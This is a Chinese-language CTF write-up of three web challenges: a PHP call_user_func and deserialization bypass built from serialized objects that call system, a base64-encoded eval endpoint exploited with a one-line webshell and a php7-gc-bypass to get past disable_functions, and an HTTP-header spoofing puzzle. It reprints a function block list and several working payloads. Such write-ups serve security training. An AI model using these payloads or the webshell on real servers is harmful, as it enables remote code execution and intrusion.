[网鼎杯 2020 朱雀组]phpweb
考察知识点
call_user_func()回调函数,反序列化
PHP内置函数call_user_func()使用方法
PHP highlight_file() 函数
流程:
页面看不出啥,抓个包看看。
从包中我们可以看到,传递了两个参数,func和p。func的值是date,再结合p的值,我猜测这里是用了call_user_func()来回调函数,即将func的值当作函数名,p的值当作参数。那么我们直接使用system函数查看当前目录下的文件
回显Hacker,应该是被waf拦了,用highlight_file()看一下源码
<?php
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk", "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
function gettime($func, $p) {
$result = call_user_func($func, $p);
$a= gettype($result);
if ($a == "string") {
return $result;
} else {return "";}
}
class Test {
var $p = "Y-m-d h:i:s a";
var $func = "date";
function __destruct() {
if ($this->func != "") {
echo gettime($this->func, $this->p);
}
}
}
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];
if ($func != null) {
$func = strtolower($func);
if (!in_array($func,$disable_fun)) {
echo gettime($func, $p);
}else {
die("Hacker...");
}
}
?>
果然是使用了call_user_func()函数 ,不过禁用了一部分函数,导致我们没法执行命令。禁用的函数比较全面,所以直接执行命令是不太可行的。然后我看到源码里面有一个Test类,在__destruct()里面会调用gettime(),再看禁用的函数里没有unserialize(),且$ func和$ p是可控的,那么就可以反序列化来达到命令执行的目的。
思路已经明确了,接下来就是构造payload了,反序列化进行绕过利用
<?php
class Test{
var $p="ls";
var $func="system";
}
$a=new Test();
echo serialize($a);
?>
尝试一下
可以看到命令成功执行了,然后就找一下flag的路径,再看flag就行了
find / -name 'flag*'
<?php
class Test{
var $p="find / -name flag*";";
var $func="system";
}
$a=new Test();
echo serialize($a);
?>
然后构造查看flag的序列化字符串
<?php
class Test {
var $p = "cat /tmp/flagoefiu4r93";
var $func = "system";
}
$a=new Test();
echo serialize($a);
?>
[GKCTF2020]CheckIN
打开题目,直接得到源码
<title>Check_In</title>
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
源码较为简单,总结一下就是
eval(base64_decode($_REQUEST['Ginkgo']))
存在代码执行漏洞,却发现很多函数被ban了,可能是开启了disable_function,这里先尝试是否能执行phpinfo()
因为存在一个base64_decode函数所以要进行base64编码。
phpinfo(). base64加密之后cGhwaW5mbygpOw==
/?Ginkgo=cGhwaW5mbygpOw==
执行成功,找到查看一下disable_function中被ban的函数
所以,这里需要绕过disable_function,先传一句话木马连接上shell
一句话木马eval($_POST[‘123’]); 加密之后得ZXZhbCgkX1BPU1RbJ0EnXSk7
/?Ginkgo=ZXZhbCgkX1BPU1RbJ0EnXSk7
在根目录文件下发现flag文件和readflag文件,猜测执行readflag就能读取到flag,但是权限等问题无法读取和执行
这里就需要使用绕过disable_function的技巧,通过phpinfo得知,该php的版本为7.3,在该版本下,php7-gc-bypass漏洞利用PHP garbage collector程序中的堆溢出触发进而执行命令
影响范围是linux,php7.0-7.3,给出了exp(这个版本有一个漏洞
具体的exp在这里面很详细了)
然后我们将其代码下载下来,放入我们的1.php文件中,记得pwn(’’)里面的东西要改成readflag
然后通过蚁剑进行上传这里发现tmp目录权限是1777,于是决定上传到这个目录
点击此处上传
通过之前的一句话来执行文件包含,得到flag
[BJDCTF 2nd]假猪套天下第一
随便登陆一个:
用admin登陆试试,不行
暂时没有好的思路了,抓个包分析一下:
发现L0g1n.php提示需要99年后,请求头里面有time,修改成一个很大的数字返回信息变成了需要从本地访问,使用XFF或者Client-ip绕过(用户IP地址 )
提示信息变成了需要来自于gem-love.com,添加Referer头现在变成了需要使用Commodo 64浏览器,查一下全称是:Commodore 64
填在user-agent里面
需要我们的邮箱是:root@gem-love.com,添加From
最后代理服务器地址需要是y1ng.vip,添加Via
得到一串base64编码字符,对应解码即可获得flag